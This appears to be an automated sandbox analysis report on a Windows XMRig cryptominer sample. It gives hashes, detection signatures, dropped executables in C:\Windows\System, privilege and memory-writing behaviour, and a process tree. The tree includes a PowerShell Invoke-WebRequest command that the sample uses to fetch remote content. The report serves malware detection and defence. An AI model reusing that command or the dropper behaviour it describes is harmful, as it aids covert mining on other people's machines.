xmrig | 9bebb3cd2fcf0244fc1ceed2c852952aabed98c16b1cb9d81a806e31f44d0622

Analysis

max time kernel
148s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
15/05/2024, 20:37 UTC

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe
Size

1.4MB
MD5

2f68d23a2b67e2e1886bf8b0aa5c9f20
SHA1

9c7a106fd3e4912e5e1e4e05488b7e0cb385c8e6
SHA256

9bebb3cd2fcf0244fc1ceed2c852952aabed98c16b1cb9d81a806e31f44d0622
SHA512

9e11b789aaac5aa762ed5e0751886da9c4d0dc96eea263ed8c8cdb077be405a00a047dc82739098f86a7d6eb43c054dd690de725aaa896782ef7ab660c6bd9da
SSDEEP

24576:zv3/fTLF671TilQFG4P5PMkFfkeMGvGr1t46xKMp6rdwwviD:Lz071uv4BPMkFfdk2afGwwvQ

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 51 IoCs

miner

resource	yara_rule
behavioral2/memory/3052-15-0x00007FF623290000-0x00007FF623682000-memory.dmp	xmrig
behavioral2/memory/3912-565-0x00007FF642CC0000-0x00007FF6430B2000-memory.dmp	xmrig
behavioral2/memory/1108-760-0x00007FF6294E0000-0x00007FF6298D2000-memory.dmp	xmrig
behavioral2/memory/4512-767-0x00007FF7E6210000-0x00007FF7E6602000-memory.dmp	xmrig
behavioral2/memory/4056-770-0x00007FF640AC0000-0x00007FF640EB2000-memory.dmp	xmrig
behavioral2/memory/2008-774-0x00007FF7DA7A0000-0x00007FF7DAB92000-memory.dmp	xmrig
behavioral2/memory/460-777-0x00007FF707C10000-0x00007FF708002000-memory.dmp	xmrig
behavioral2/memory/3904-776-0x00007FF70FA40000-0x00007FF70FE32000-memory.dmp	xmrig
behavioral2/memory/3524-775-0x00007FF65AA80000-0x00007FF65AE72000-memory.dmp	xmrig
behavioral2/memory/2656-773-0x00007FF7BA300000-0x00007FF7BA6F2000-memory.dmp	xmrig
behavioral2/memory/4920-772-0x00007FF66A360000-0x00007FF66A752000-memory.dmp	xmrig
behavioral2/memory/3100-771-0x00007FF7BC890000-0x00007FF7BCC82000-memory.dmp	xmrig
behavioral2/memory/4396-769-0x00007FF65A370000-0x00007FF65A762000-memory.dmp	xmrig
behavioral2/memory/5052-768-0x00007FF6B9980000-0x00007FF6B9D72000-memory.dmp	xmrig
behavioral2/memory/1336-562-0x00007FF6FA790000-0x00007FF6FAB82000-memory.dmp	xmrig
behavioral2/memory/4004-440-0x00007FF6A8A10000-0x00007FF6A8E02000-memory.dmp	xmrig
behavioral2/memory/4024-319-0x00007FF61BDB0000-0x00007FF61C1A2000-memory.dmp	xmrig
behavioral2/memory/1984-248-0x00007FF723880000-0x00007FF723C72000-memory.dmp	xmrig
behavioral2/memory/4440-198-0x00007FF677910000-0x00007FF677D02000-memory.dmp	xmrig
behavioral2/memory/4356-195-0x00007FF657610000-0x00007FF657A02000-memory.dmp	xmrig
behavioral2/memory/1784-122-0x00007FF7EA110000-0x00007FF7EA502000-memory.dmp	xmrig
behavioral2/memory/1772-119-0x00007FF7B81F0000-0x00007FF7B85E2000-memory.dmp	xmrig
behavioral2/memory/1420-81-0x00007FF7EB0D0000-0x00007FF7EB4C2000-memory.dmp	xmrig
behavioral2/memory/3052-4098-0x00007FF623290000-0x00007FF623682000-memory.dmp	xmrig
behavioral2/memory/2796-4099-0x00007FF6AEAA0000-0x00007FF6AEE92000-memory.dmp	xmrig
behavioral2/memory/1420-4100-0x00007FF7EB0D0000-0x00007FF7EB4C2000-memory.dmp	xmrig
behavioral2/memory/1784-4101-0x00007FF7EA110000-0x00007FF7EA502000-memory.dmp	xmrig
behavioral2/memory/3052-4103-0x00007FF623290000-0x00007FF623682000-memory.dmp	xmrig
behavioral2/memory/1772-4105-0x00007FF7B81F0000-0x00007FF7B85E2000-memory.dmp	xmrig
behavioral2/memory/2008-4109-0x00007FF7DA7A0000-0x00007FF7DAB92000-memory.dmp	xmrig
behavioral2/memory/4440-4108-0x00007FF677910000-0x00007FF677D02000-memory.dmp	xmrig
behavioral2/memory/1420-4113-0x00007FF7EB0D0000-0x00007FF7EB4C2000-memory.dmp	xmrig
behavioral2/memory/3524-4112-0x00007FF65AA80000-0x00007FF65AE72000-memory.dmp	xmrig
behavioral2/memory/5052-4128-0x00007FF6B9980000-0x00007FF6B9D72000-memory.dmp	xmrig
behavioral2/memory/4356-4131-0x00007FF657610000-0x00007FF657A02000-memory.dmp	xmrig
behavioral2/memory/460-4139-0x00007FF707C10000-0x00007FF708002000-memory.dmp	xmrig
behavioral2/memory/3904-4141-0x00007FF70FA40000-0x00007FF70FE32000-memory.dmp	xmrig
behavioral2/memory/4004-4145-0x00007FF6A8A10000-0x00007FF6A8E02000-memory.dmp	xmrig
behavioral2/memory/1784-4137-0x00007FF7EA110000-0x00007FF7EA502000-memory.dmp	xmrig
behavioral2/memory/1984-4136-0x00007FF723880000-0x00007FF723C72000-memory.dmp	xmrig
behavioral2/memory/2796-4133-0x00007FF6AEAA0000-0x00007FF6AEE92000-memory.dmp	xmrig
behavioral2/memory/1336-4130-0x00007FF6FA790000-0x00007FF6FAB82000-memory.dmp	xmrig
behavioral2/memory/4024-4126-0x00007FF61BDB0000-0x00007FF61C1A2000-memory.dmp	xmrig
behavioral2/memory/4056-4122-0x00007FF640AC0000-0x00007FF640EB2000-memory.dmp	xmrig
behavioral2/memory/4512-4118-0x00007FF7E6210000-0x00007FF7E6602000-memory.dmp	xmrig
behavioral2/memory/3912-4124-0x00007FF642CC0000-0x00007FF6430B2000-memory.dmp	xmrig
behavioral2/memory/1108-4120-0x00007FF6294E0000-0x00007FF6298D2000-memory.dmp	xmrig
behavioral2/memory/3100-4116-0x00007FF7BC890000-0x00007FF7BCC82000-memory.dmp	xmrig
behavioral2/memory/4396-4155-0x00007FF65A370000-0x00007FF65A762000-memory.dmp	xmrig
behavioral2/memory/2656-4158-0x00007FF7BA300000-0x00007FF7BA6F2000-memory.dmp	xmrig
behavioral2/memory/4920-4162-0x00007FF66A360000-0x00007FF66A752000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
4740	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
3052	wIxcakw.exe
2796	fbFNMRy.exe
2008	HdrTqMa.exe
1420	GlICQOG.exe
1772	AUVKqgU.exe
1784	YjjlGXO.exe
4356	IGXFAir.exe
4440	SOAGpJv.exe
3524	OPqExtV.exe
1984	SNtcXWJ.exe
4024	MYnjCVc.exe
4004	ATxoODW.exe
1336	tEXbZYZ.exe
3912	lwBNnzD.exe
1108	TgWxAke.exe
4512	FbbThNt.exe
5052	Ivfwnsn.exe
3904	ltQXPae.exe
4396	DFpYnLS.exe
4056	KfZMlpi.exe
3100	rNdzrgO.exe
4920	rDmlKNx.exe
460	uDIzTMX.exe
2656	JLkSmWt.exe
2060	yAkMExm.exe
2852	qrEMUtl.exe
2312	ztGOXhx.exe
4088	wJGdMbZ.exe
1116	mTaJIDY.exe
4372	MdELikS.exe
1652	XjlxscJ.exe
1504	nRUmWrw.exe
4704	JMkHHFc.exe
808	gFzdgYI.exe
1460	geSABgQ.exe
2268	KPqbfjm.exe
4580	tZPuavg.exe
1080	JCrRaBy.exe
2212	gKGTFyM.exe
4508	YbiGIdb.exe
712	sTdgshC.exe
1644	luwtXud.exe
3408	ubAexbE.exe
3000	MMJeKew.exe
1980	FSoweSb.exe
3620	PPMTEXr.exe
4804	JnAdddH.exe
3348	aXKLeXx.exe
4140	AZFIeUu.exe
1200	zrNitRM.exe
4412	VpjBDZo.exe
2388	ndEDIMi.exe
1736	vVIlfzj.exe
1640	vaiIJaC.exe
772	ntuFWCF.exe
2816	KdgpcYe.exe
4716	cFQzwMx.exe
3440	EyyNOpb.exe
2280	uDDwEsT.exe
1408	lWWlvZi.exe
4908	VVFblrO.exe
1544	VxjWzfM.exe
3108	EMjvXRJ.exe
2024	dTpNxFo.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/444-0-0x00007FF691440000-0x00007FF691832000-memory.dmp	upx
behavioral2/files/0x0007000000023441-64.dat	upx
behavioral2/files/0x000700000002343d-32.dat	upx
behavioral2/files/0x000700000002343c-29.dat	upx
behavioral2/files/0x000700000002343b-27.dat	upx
behavioral2/files/0x000800000002343a-23.dat	upx
behavioral2/memory/2796-45-0x00007FF6AEAA0000-0x00007FF6AEE92000-memory.dmp	upx
behavioral2/files/0x0009000000023405-18.dat	upx
behavioral2/memory/3052-15-0x00007FF623290000-0x00007FF623682000-memory.dmp	upx
behavioral2/files/0x0006000000023266-5.dat	upx
behavioral2/files/0x000700000002344c-139.dat	upx
behavioral2/memory/3912-565-0x00007FF642CC0000-0x00007FF6430B2000-memory.dmp	upx
behavioral2/memory/1108-760-0x00007FF6294E0000-0x00007FF6298D2000-memory.dmp	upx
behavioral2/memory/4512-767-0x00007FF7E6210000-0x00007FF7E6602000-memory.dmp	upx
behavioral2/memory/4056-770-0x00007FF640AC0000-0x00007FF640EB2000-memory.dmp	upx
behavioral2/memory/2008-774-0x00007FF7DA7A0000-0x00007FF7DAB92000-memory.dmp	upx
behavioral2/memory/460-777-0x00007FF707C10000-0x00007FF708002000-memory.dmp	upx
behavioral2/memory/3904-776-0x00007FF70FA40000-0x00007FF70FE32000-memory.dmp	upx
behavioral2/memory/3524-775-0x00007FF65AA80000-0x00007FF65AE72000-memory.dmp	upx
behavioral2/memory/2656-773-0x00007FF7BA300000-0x00007FF7BA6F2000-memory.dmp	upx
behavioral2/memory/4920-772-0x00007FF66A360000-0x00007FF66A752000-memory.dmp	upx
behavioral2/memory/3100-771-0x00007FF7BC890000-0x00007FF7BCC82000-memory.dmp	upx
behavioral2/memory/4396-769-0x00007FF65A370000-0x00007FF65A762000-memory.dmp	upx
behavioral2/memory/5052-768-0x00007FF6B9980000-0x00007FF6B9D72000-memory.dmp	upx
behavioral2/memory/1336-562-0x00007FF6FA790000-0x00007FF6FAB82000-memory.dmp	upx
behavioral2/memory/4004-440-0x00007FF6A8A10000-0x00007FF6A8E02000-memory.dmp	upx
behavioral2/memory/4024-319-0x00007FF61BDB0000-0x00007FF61C1A2000-memory.dmp	upx
behavioral2/memory/1984-248-0x00007FF723880000-0x00007FF723C72000-memory.dmp	upx
behavioral2/files/0x0007000000023460-219.dat	upx
behavioral2/files/0x000700000002345f-212.dat	upx
behavioral2/files/0x000700000002345e-211.dat	upx
behavioral2/files/0x000700000002345d-209.dat	upx
behavioral2/files/0x000700000002345c-199.dat	upx
behavioral2/memory/4440-198-0x00007FF677910000-0x00007FF677D02000-memory.dmp	upx
behavioral2/files/0x000700000002345a-189.dat	upx
behavioral2/files/0x0007000000023459-186.dat	upx
behavioral2/files/0x0007000000023447-178.dat	upx
behavioral2/files/0x000700000002344e-172.dat	upx
behavioral2/files/0x0007000000023458-171.dat	upx
behavioral2/files/0x0007000000023446-170.dat	upx
behavioral2/files/0x000700000002344d-163.dat	upx
behavioral2/files/0x0007000000023456-160.dat	upx
behavioral2/files/0x0007000000023445-159.dat	upx
behavioral2/files/0x0007000000023455-156.dat	upx
behavioral2/files/0x0007000000023443-153.dat	upx
behavioral2/files/0x0007000000023454-142.dat	upx
behavioral2/files/0x000700000002344b-132.dat	upx
behavioral2/files/0x0007000000023452-129.dat	upx
behavioral2/files/0x000700000002344a-207.dat	upx
behavioral2/files/0x0007000000023450-127.dat	upx
behavioral2/files/0x0007000000023451-206.dat	upx
behavioral2/files/0x0007000000023449-202.dat	upx
behavioral2/memory/4356-195-0x00007FF657610000-0x00007FF657A02000-memory.dmp	upx
behavioral2/memory/1784-122-0x00007FF7EA110000-0x00007FF7EA502000-memory.dmp	upx
behavioral2/files/0x000700000002345b-192.dat	upx
behavioral2/memory/1772-119-0x00007FF7B81F0000-0x00007FF7B85E2000-memory.dmp	upx
behavioral2/files/0x000700000002344f-185.dat	upx
behavioral2/files/0x0007000000023448-112.dat	upx
behavioral2/files/0x000700000002343e-100.dat	upx
behavioral2/files/0x0007000000023442-95.dat	upx
behavioral2/files/0x0007000000023453-136.dat	upx
behavioral2/files/0x0007000000023444-103.dat	upx
behavioral2/files/0x0007000000023440-62.dat	upx
behavioral2/memory/1420-81-0x00007FF7EB0D0000-0x00007FF7EB4C2000-memory.dmp	upx

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\lmTKwRQ.exe	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe
File created	C:\Windows\System\ZWrymmh.exe	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe
File created	C:\Windows\System\VVnZLAC.exe	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe
File created	C:\Windows\System\imNJidR.exe	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe
File created	C:\Windows\System\ogKmOlJ.exe	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe
File created	C:\Windows\System\VrmdmAe.exe	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe
File created	C:\Windows\System\OmEegri.exe	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe
File created	C:\Windows\System\wrXIDcE.exe	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe
File created	C:\Windows\System\rXejSbp.exe	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe
File created	C:\Windows\System\KyCnttL.exe	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe
File created	C:\Windows\System\FiTxWld.exe	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe
File created	C:\Windows\System\HSRyznr.exe	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe
File created	C:\Windows\System\cYupjsK.exe	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe
File created	C:\Windows\System\erHwNsP.exe	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe
File created	C:\Windows\System\kaghddn.exe	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe
File created	C:\Windows\System\sWKgDOr.exe	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe
File created	C:\Windows\System\nmIpBMG.exe	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe
File created	C:\Windows\System\skVmPKD.exe	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe
File created	C:\Windows\System\DDAtcqa.exe	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe
File created	C:\Windows\System\yJDgGXL.exe	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe
File created	C:\Windows\System\ekkAnvd.exe	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe
File created	C:\Windows\System\vHFmvpz.exe	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe
File created	C:\Windows\System\AbmQevz.exe	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe
File created	C:\Windows\System\CCWKdjp.exe	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe
File created	C:\Windows\System\AaVuZkj.exe	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe
File created	C:\Windows\System\ClcsJWY.exe	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe
File created	C:\Windows\System\USOhIAX.exe	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe
File created	C:\Windows\System\VixQmCs.exe	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe
File created	C:\Windows\System\HpkMGRW.exe	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe
File created	C:\Windows\System\yrrAABN.exe	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe
File created	C:\Windows\System\pcutAMG.exe	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe
File created	C:\Windows\System\ToznNEK.exe	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe
File created	C:\Windows\System\pYJDsJy.exe	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe
File created	C:\Windows\System\VJvAfDR.exe	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe
File created	C:\Windows\System\QoTSnjo.exe	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe
File created	C:\Windows\System\PBfLwHx.exe	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe
File created	C:\Windows\System\ONcTnGS.exe	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe
File created	C:\Windows\System\FIYApQB.exe	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe
File created	C:\Windows\System\SyTlHDV.exe	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe
File created	C:\Windows\System\HWWzbxa.exe	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe
File created	C:\Windows\System\OhRylem.exe	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe
File created	C:\Windows\System\yVlJrIX.exe	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe
File created	C:\Windows\System\EHYWEZV.exe	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe
File created	C:\Windows\System\OUvWdOI.exe	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe
File created	C:\Windows\System\vfvcBvI.exe	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe
File created	C:\Windows\System\hbCCpwj.exe	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe
File created	C:\Windows\System\LzTHsIT.exe	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe
File created	C:\Windows\System\lUEYfmc.exe	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe
File created	C:\Windows\System\rKWQFJY.exe	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe
File created	C:\Windows\System\ypwfHjN.exe	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe
File created	C:\Windows\System\jjFZqoj.exe	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe
File created	C:\Windows\System\cKdLACQ.exe	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe
File created	C:\Windows\System\IiekdsG.exe	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe
File created	C:\Windows\System\jqcpubE.exe	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe
File created	C:\Windows\System\kVaSCZZ.exe	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe
File created	C:\Windows\System\hMTVBkt.exe	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe
File created	C:\Windows\System\SdlduXV.exe	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe
File created	C:\Windows\System\pfJZMQg.exe	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe
File created	C:\Windows\System\ltniOVI.exe	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe
File created	C:\Windows\System\mSWakFk.exe	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe
File created	C:\Windows\System\jBPvCkF.exe	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe
File created	C:\Windows\System\bSYWRkG.exe	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe
File created	C:\Windows\System\OoGKUSS.exe	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe
File created	C:\Windows\System\fWNONup.exe	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4740	powershell.exe
4740	powershell.exe
4740	powershell.exe
4740	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4740	powershell.exe
Token: SeLockMemoryPrivilege	444	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe
Token: SeLockMemoryPrivilege	444	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 444 wrote to memory of 4740	444	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe	85
PID 444 wrote to memory of 4740	444	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe	85
PID 444 wrote to memory of 3052	444	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe	86
PID 444 wrote to memory of 3052	444	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe	86
PID 444 wrote to memory of 2796	444	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe	87
PID 444 wrote to memory of 2796	444	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe	87
PID 444 wrote to memory of 2008	444	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe	88
PID 444 wrote to memory of 2008	444	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe	88
PID 444 wrote to memory of 1420	444	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe	89
PID 444 wrote to memory of 1420	444	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe	89
PID 444 wrote to memory of 1772	444	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe	90
PID 444 wrote to memory of 1772	444	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe	90
PID 444 wrote to memory of 1784	444	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe	91
PID 444 wrote to memory of 1784	444	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe	91
PID 444 wrote to memory of 4356	444	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe	92
PID 444 wrote to memory of 4356	444	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe	92
PID 444 wrote to memory of 4440	444	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe	93
PID 444 wrote to memory of 4440	444	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe	93
PID 444 wrote to memory of 3524	444	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe	94
PID 444 wrote to memory of 3524	444	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe	94
PID 444 wrote to memory of 1984	444	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe	95
PID 444 wrote to memory of 1984	444	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe	95
PID 444 wrote to memory of 4024	444	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe	96
PID 444 wrote to memory of 4024	444	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe	96
PID 444 wrote to memory of 4004	444	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe	97
PID 444 wrote to memory of 4004	444	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe	97
PID 444 wrote to memory of 1336	444	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe	98
PID 444 wrote to memory of 1336	444	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe	98
PID 444 wrote to memory of 3912	444	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe	99
PID 444 wrote to memory of 3912	444	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe	99
PID 444 wrote to memory of 1108	444	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe	100
PID 444 wrote to memory of 1108	444	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe	100
PID 444 wrote to memory of 4512	444	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe	101
PID 444 wrote to memory of 4512	444	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe	101
PID 444 wrote to memory of 5052	444	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe	102
PID 444 wrote to memory of 5052	444	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe	102
PID 444 wrote to memory of 3904	444	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe	103
PID 444 wrote to memory of 3904	444	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe	103
PID 444 wrote to memory of 4396	444	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe	104
PID 444 wrote to memory of 4396	444	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe	104
PID 444 wrote to memory of 2060	444	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe	105
PID 444 wrote to memory of 2060	444	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe	105
PID 444 wrote to memory of 2312	444	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe	106
PID 444 wrote to memory of 2312	444	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe	106
PID 444 wrote to memory of 4056	444	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe	107
PID 444 wrote to memory of 4056	444	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe	107
PID 444 wrote to memory of 3100	444	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe	108
PID 444 wrote to memory of 3100	444	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe	108
PID 444 wrote to memory of 4920	444	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe	109
PID 444 wrote to memory of 4920	444	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe	109
PID 444 wrote to memory of 460	444	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe	110
PID 444 wrote to memory of 460	444	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe	110
PID 444 wrote to memory of 2268	444	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe	111
PID 444 wrote to memory of 2268	444	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe	111
PID 444 wrote to memory of 2656	444	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe	112
PID 444 wrote to memory of 2656	444	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe	112
PID 444 wrote to memory of 2852	444	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe	113
PID 444 wrote to memory of 2852	444	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe	113
PID 444 wrote to memory of 4088	444	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe	114
PID 444 wrote to memory of 4088	444	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe	114
PID 444 wrote to memory of 1116	444	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe	115
PID 444 wrote to memory of 1116	444	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe	115
PID 444 wrote to memory of 4372	444	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe	116
PID 444 wrote to memory of 4372	444	2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe	116

C:\Users\Admin\AppData\Local\Temp\2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe
"C:\Users\Admin\AppData\Local\Temp\2f68d23a2b67e2e1886bf8b0aa5c9f20_NeikiAnalytics.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:444
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4740
- C:\Windows\System\wIxcakw.exe
  C:\Windows\System\wIxcakw.exe
  2⤵
  - Executes dropped EXE
  PID:3052
- C:\Windows\System\fbFNMRy.exe
